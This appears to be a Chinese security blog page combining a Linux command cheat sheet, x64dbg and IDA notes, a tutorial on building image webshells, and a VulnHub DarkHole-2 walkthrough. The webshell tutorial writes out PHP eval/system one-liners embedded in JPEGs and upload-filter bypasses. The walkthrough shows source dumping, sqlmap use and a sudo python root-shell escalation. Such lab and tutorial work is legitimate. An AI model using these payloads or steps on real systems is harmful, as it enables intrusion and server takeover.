2025-07-28
杂项
00

这里整理了一份全面的 Linux 常用命令速查表,按照功能分类。方便快速查阅!


🐧 Linux 常用命令速查表

1️⃣ 系统信息查看

命令说明
uname -a查看系统内核及架构信息
cat /etc/os-release查看 Linux 发行版信息
hostname查看主机名
whoami显示当前登录用户
id查看用户 UID、GID 及所属组
uptime系统运行时长及负载
top / htop动态查看进程和资源占用
free -h查看内存使用情况
df -h查看磁盘使用情况
du -sh *查看当前目录下各文件/目录大小
lscpu查看 CPU 信息
lsblk查看磁盘分区和挂载情况

2️⃣ 文件与目录操作

命令说明
ls -al列出文件(含权限、隐藏文件)
cd /path切换目录
pwd显示当前目录
cp src dst复制文件或目录
mv src dst移动或重命名文件
rm file删除文件
rm -rf dir强制删除目录及内容
mkdir dir创建目录
touch file创建空文件
find /path -name "*.txt"按名称查找文件
locate filename使用索引快速查找文件
tree以树形结构显示目录内容

3️⃣ 文件内容查看与处理

命令说明
cat file查看文件内容
more file / less file分页查看文件
head -n 20 file查看文件前 20 行
tail -n 50 file查看文件后 50 行
tail -f file实时查看日志变化
nano file / vim file编辑文件
wc -l file统计文件行数
strings file提取可打印字符
grep "pattern" file搜索匹配内容
grep -r "keyword" dir/递归搜索目录
diff file1 file2比较文件差异

4️⃣ 用户与权限管理

命令说明
adduser username添加新用户
passwd username修改用户密码
userdel username删除用户
groupadd group创建新组
usermod -aG group user将用户添加到组
chmod 755 file修改文件权限
chown user:group file修改文件属主和属组
sudo command使用管理员权限执行命令
su - user切换用户身份

5️⃣ 软件包管理

Debian / Ubuntu

命令说明
apt update更新软件源
apt upgrade更新所有已安装软件
apt install pkg安装软件包
apt remove pkg卸载软件包
dpkg -l列出所有已安装软件

CentOS / RHEL

命令说明
yum update更新软件包
yum install pkg安装软件包
yum remove pkg卸载软件包
rpm -qa列出已安装包

6️⃣ 网络操作

命令说明
ip addr / ifconfig查看网络接口信息
ping host测试网络连通性
curl url获取网页内容
wget url下载文件
netstat -tulnp查看端口和监听服务
ss -tulnp(推荐) 查看端口和监听服务
traceroute host路由跟踪
dig domain / nslookup domainDNS 查询
scp file user@host:/path通过 SSH 复制文件
rsync -av src dst高效文件同步

7️⃣ 压缩与解压

命令说明
tar -cvf file.tar files/打包
tar -xvf file.tar解包
tar -czvf file.tar.gz files/压缩
tar -xzvf file.tar.gz解压
zip -r file.zip dir/压缩为 zip
unzip file.zip解压 zip

8️⃣ 进程与服务管理

命令说明
ps aux查看所有进程
`ps -efgrep name`查找进程
kill PID终止进程
kill -9 PID强制终止进程
systemctl start service启动服务
systemctl stop service停止服务
systemctl restart service重启服务
systemctl status service查看服务状态
service service status旧版服务管理

9️⃣ 磁盘与挂载

命令说明
mount /dev/sdb1 /mnt挂载分区
umount /mnt卸载分区
lsblk查看块设备
fdisk -l列出磁盘分区
blkid查看分区 UUID
parted /dev/sdb分区操作

🔟 系统安全与日志

命令说明
sudo ufw enable / ufw allow 22防火墙配置(Ubuntu)
iptables -L查看防火墙规则
last查看用户登录记录
who当前在线用户
journalctl -xe查看系统日志
cat /var/log/auth.log身份验证日志
cat /var/log/syslog系统日志
2025-07-28
渗透测试
00

Windows 和 Linux 下图片马制作

1️⃣ 基本原理

图片马(Image Webshell)是一种将恶意代码(如 PHP、ASP、JSP 脚本)嵌入到图片文件中,以绕过上传检测和安全防护的技术。

  • 核心思路

    • 图片文件通过文件头(Magic Number)识别类型,上传系统通常只检测文件头或后缀名。
    • 将代码隐藏在图片尾部或元数据中,保留文件头不变,仍被识别为正常图片。
  • 常用场景

    • 绕过上传黑名单(仅允许 .jpg.png 文件)。
    • 绕过 MIME 类型检测、WAF 防火墙。
    • 与漏洞解析配合,实现代码执行。

2️⃣ 常见图片格式及二进制文件头

在制作图片马时必须保留原始图片头部数据,否则无法通过文件类型检测。

图片格式魔数 (Magic Number)十六进制表示特点
JPEG / JPGÿØÿàÿØÿÛFF D8 FF E0 / FF D8 FF DB最常用,短头部,适合插入代码
PNG.PNG89 50 4E 47 0D 0A 1A 0A8 字节头部,必须保留
GIF87aGIF87a47 49 46 38 37 61旧版 GIF
GIF89aGIF89a47 49 46 38 39 61常见 GIF
BMPBM42 4D位图文件
TIFF (Intel)II*49 49 2A 00小端序
TIFF (Motorola)MM*4D 4D 00 2A大端序
WEBPRIFF....WEBP52 49 46 46 xx xx xx xx 57 45 42 50RIFF 格式图片

注意:

  • 修改图片文件时务必保留文件头。
  • 恶意代码建议追加到文件尾部,以确保图片可正常显示。

3️⃣ 图片马制作方法

方法 1:直接拼接代码

  • 将正常图片和一句话木马合并,恶意代码放在尾部。
  • 上传时仍是有效图片。

方法 2:修改元数据

  • 利用 EXIF 信息字段(如作者、描述)写入 PHP 代码。
  • 需结合解析漏洞才能执行代码。

方法 3:编码/双后缀

  • 上传时使用 file.php.jpg、Base64 编码,绕过部分检测。

4️⃣ Windows 下制作

(1) CMD 拼接

cmd
copy /b normal.jpg + shell.php hacked.jpg
  • /b 二进制模式
  • normal.jpg 正常图片
  • shell.php 一句话木马
  • hacked.jpg 输出文件

(2) 添加元数据

  1. 安装 exiftool
  2. 写入代码:
cmd
exiftool -Comment="<?php @eval($_POST['cmd']);?>" normal.jpg

5️⃣ Linux 下制作

(1) cat 拼接

bash
cat normal.jpg shell.php > hacked.jpg

(2) echo 插入代码

bash
echo "<?php @eval(\$_POST['cmd']);?>" >> normal.jpg mv normal.jpg hacked.jpg

(3) 修改 EXIF 元数据

bash
exiftool -Comment="<?php system($_GET['cmd']);?>" normal.jpg

6️⃣ 检测与绕过技巧

绕过方法

  • 双重后缀:hacked.php.jpg
  • 大小写绕过:hacked.PhP
  • 内容混淆:加入注释、空格、编码(Base64)
  • MIME 欺骗:上传请求头伪装 Content-Type: image/jpeg

检测思路

  • 查看文件尾部是否有脚本:
bash
tail hacked.jpg
  • 扫描可疑 PHP 代码:
bash
strings hacked.jpg | grep "<?php"
  • 使用 file hacked.jpg 检查真实类型
  • 使用安全库或防火墙检测文件内容

7️⃣ 上传后执行

上传成功后,要结合服务器解析漏洞执行代码:

  • IIS + PHPfile.php.jpg 可能被解析为 PHP
  • Nginx 配置错误xxx.jpg/1.php 触发执行
  • Apache 多后缀解析:同样可能执行

8️⃣ 风险与防御

  • 风险:图片马一旦执行,可直接成为 webshell,危害极大。

  • 防御措施

    • 严格校验上传后缀和文件头
    • 上传后重新压缩图片(清除恶意代码)
    • 检查文件内容中是否包含脚本标签
    • 关闭多后缀解析漏洞

✅ 示例:完整制作流程(Linux)

bash
# 1. 准备文件 cp test.jpg normal.jpg echo "<?php @eval(\$_POST['cmd']);?>" > shell.php # 2. 合并图片和木马 cat normal.jpg shell.php > hacked.jpg # 3. 检查文件尾部 tail hacked.jpg strings hacked.jpg | grep "<?php" # 4. 上传并访问 curl -F "file=@hacked.jpg" http://target/upload
2025-07-26
逆向工程
00

x64dbg 基础用法

x64dbg 是一个强大的 Windows 调试工具,适用于反向工程、漏洞分析和破解程序。它支持 32 位和 64 位应用程序的调试,界面友好,功能强大。

1. 加载目标程序

  1. 启动 x64dbg 后,点击左上角的“文件”(File)->“打开”(Open)来加载你想要调试的程序。
  2. 选择 .exe 文件,点击“打开”。
  3. 如果程序已经启动,可以通过“附加到进程”(Attach to process)来附加调试目标(影响最小,建议)

2. 基本界面介绍

x64dbg 的界面包括多个区域:

  • CPU 窗口:显示当前的汇编代码。
  • 寄存器窗口:显示当前 CPU 寄存器的状态(如 EAX, EBX, ECX, EDX 等)。
  • 堆栈窗口:显示当前的堆栈信息。
  • 内存窗口:显示内存数据,可以实时修改内存。
  • 模块窗口:显示程序加载的所有模块。
  • 命令窗口:可以输入命令执行,类似于命令行界面。

3. 设置断点

断点是调试中非常重要的功能,可以在程序执行到某个位置时暂停。

  1. 在 CPU 窗口中,右键点击某一行汇编代码,选择“添加断点”。
  2. 你也可以在地址栏中输入特定地址来直接跳转到该位置设置断点。
  3. 设置断点后,程序执行到该点会暂停,你可以查看寄存器、堆栈和内存状态。

4. 单步执行

在调试过程中,单步执行可以让你逐行分析代码。

  • 单步跳过(F8):跳过当前指令,执行下一条指令。
  • 单步进入(F7):进入当前调用的函数。
  • 继续执行(F9):继续程序的执行,直到下一个断点。

5. 查看和修改寄存器

寄存器窗口显示了 CPU 的寄存器状态,可以手动修改寄存器的值。

  • 右键点击某个寄存器,选择“修改”可以修改其值。
  • 修改寄存器的值可以改变程序的执行流或绕过某些判断。

6. 查看和修改内存

  1. 打开内存窗口(Memory)。
  2. 输入特定的内存地址,查看该地址的内容。
  3. 你可以右键点击内存区域(空格),选择“修改内存”来修改内存中的值。

7. 堆栈分析

堆栈窗口可以查看函数调用和返回时的堆栈数据。

  • 在堆栈窗口中,可以看到每个函数调用时的堆栈数据,包括局部变量和返回地址。
  • 堆栈内容也可以修改,常用于修改程序的执行流程。

8. 调试命令

x64dbg 提供了一些调试命令,可以通过命令窗口直接输入:

  • bp [地址]:在指定地址设置断点。
  • r [寄存器名]:查看寄存器的当前值。
  • d [地址]:显示内存中的数据。
  • t [命令]:执行命令。

9. 反汇编和分析

x64dbg 支持强大的反汇编功能,你可以通过反汇编代码来理解程序的执行逻辑。

  1. 选择某个地址,右键点击并选择“反汇编”。
  2. 查看对应的汇编代码,分析每个指令的功能。

10. 基础技巧

  • 查看模块:通过“模块”窗口,可以查看程序加载的所有 DLL 和 EXE 文件,帮助分析程序依赖关系。
  • 条件断点:可以设置条件断点,只有满足条件时才触发断点,适用于复杂的调试场景。
  • 跟踪系统调用:通过设置系统调用断点,跟踪程序和操作系统的交互。

11. x64dbg 常用快捷键

1. 常规操作

  • F9: 继续执行程序,直到遇到断点。
  • F7: 单步进入,进入当前调用的函数。
  • F8: 单步跳过,跳过当前函数调用,执行下一行指令。
  • Shift + F7: 跳过当前函数的所有指令,直接到达函数返回。
  • Ctrl + F9: 停止调试并退出程序。
  • F5: 启动调试或附加到进程。

2. 断点操作

  • F2: 在当前指令设置/取消断点。
  • Ctrl + F2: 切换所有断点的启用状态。
  • Ctrl + Shift + F2: 清除所有断点。

3. 寄存器操作

  • Ctrl + R: 刷新寄存器窗口。
  • Alt + R: 打开/关闭寄存器窗口。
  • Ctrl + E: 打开/关闭堆栈窗口。
  • Ctrl + D: 打开/关闭内存窗口。

4. 反汇编操作

  • Ctrl + G: 跳转到特定的地址。
  • Ctrl + Shift + G: 跳转到当前指令的地址。
  • Ctrl + L: 转到当前指令对应的源代码行(如果有调试符号)。

5. 查看/修改内存

  • Ctrl + M: 打开内存视图。
  • Alt + M: 修改当前显示的内存值。

6. 日志与控制台

  • Ctrl + K: 打开/关闭命令窗口。
  • Ctrl + Shift + K: 打开/关闭日志窗口。
2025-07-26
逆向工程
00

常用快捷键:

  • F12+Shift:查找字符串
  • 空格:切换文本视图或图表视图
  • F5:生成伪C代码
  • 分号(;):反汇编界面写注释
  • 斜杠(/):伪代码界面写注释
  • F12:列出光标所在函数的流程图

常见问题及其解决方式

  1. 字符串丢失:
    • 选中字符串对应汇编代码->右键->点击字符串->字符串窗口->右键->rebuild
    • 若无法找到对应字符串代码,则可能是字符串无法显示:新建快捷方式->后缀加上:-dCULTURE=all
  2. 数据修改:
    • 选中对应地址->点击Hex View->右键(或者F2)->点击edit->右键->应用
    • 若为只读不可修改,则使用CE更改内存属性
  3. 代码修改:
    • 右键对应代码->Assemble->选择并更改->回车
  4. 打补丁:
    • 菜单栏选择Edit->Patch Program->Apply patch to
2025-07-26
靶机
00

环境搭建:

  • 靶机下载地址:https://vulnhub.com/entry/darkhole-2,740/
  • 再VMWare中打开靶机 37a077ea90b7daa1a0c596eba3aa73fb.png
  • 查看Mac地址:点击导航栏的"虚拟机"->"设置"->"网络适配器"->"高级"->"MAC地址",记住这个地址并点击确定. 12bd2993795ac8b9462f89c405227d52.png

攻击开始:

1. 主机发现:(这里使用Kali进行演示)

sudo arp-scan -l #列出所有已开启的主机IP c270e33359cd9709b7673bef60d2944b.png 通过对比Mac地址,获取目标IP:192.168.184.156

2. 端口扫描:

nmap -p- 192.168.184.156 #扫描所有端口情况 3f48534b4e90c54aff4f0c1d24477932.png 能看到这里开放了80端口和22端口,现在可以在浏览器内访问一下192.168.184.156:80 81a1125a75007ec477971fd1a3268549.png

3. 目录扫描:

dirsearch -u "192.168.184.156:80" #目录扫描 0d49eaa359abf75b29137cf7f3b1331b.png 这里可以看到对方泄露了自己的git仓库,众所周知,git仓库内存放着项目源码,那么我们可以使用工具将对方的源码全部下载下来,不过这里并不着急下载源码,继续对当前网页进行测试

4. 注入点测试:

- 添加闭合符对账号密码的输入框进行测试,检查是否存在注入点 - 我这里进行测试后并没有看到明显的注入点,当然也可以下载下来数据包使用sqlmap进行自动化测试,不过我走git源码的路子已经打通了,这里就不测试了。

5.下载git源码(git-dumper工具/自己写一个爬虫)

git-dumper http://192.168.184.156/.git/ tmp #将git源码下载到tmp文件夹内

6.查看git日志

git log #查看日志 image.png

7.对比当前项目和历史项目的差异,寻找有用信息

git diff 版本名称 #对比版本差异 image.png

发现一个账号和密码: lush@admin.com 321 现在可以尝试登陆了

image.png image.png

7.Sql注入

发现url里面有个参数id,看起来就像sql注入,这里我直接使用sqlmap扫一下,由于是登陆状态进行扫描,所以先复制一下自己的cookie:F12->network->Cookie image.png 发现两个表 image.png 爆表 image.png

8.发现了ssh的账号,现在可以再次使用ssh登录靶机

image.png 查看一下用户权限: image.png 看一眼历史命令: image.png 这边看到好几条有些疑问的命令,看着是给靶机的9999端口发送命令,命令参数是cmd,看着就像是一个后门,我们尝试访问一下: image.png 果然是一个后门,而且我们可以利用:首先查看一下这个losy用户的历史命令: image.png 看到一个形似password的字符串,尝试ssh登录: image.png 登陆上了,也许是凑巧,不过不管了,能用就行,现在看一眼这个用户的权限: image.png 呀呵~这个用户有root权限,可以以root权限运行python程序,那么我们可以直接构造python代码直接提权:sudo python3 -c 'import os;os.setuid(0);os.system("/bin/sh")' #将当前用户uid设置为0(root用户),然后再打开一个root终端 image.png

成功拿下root权限!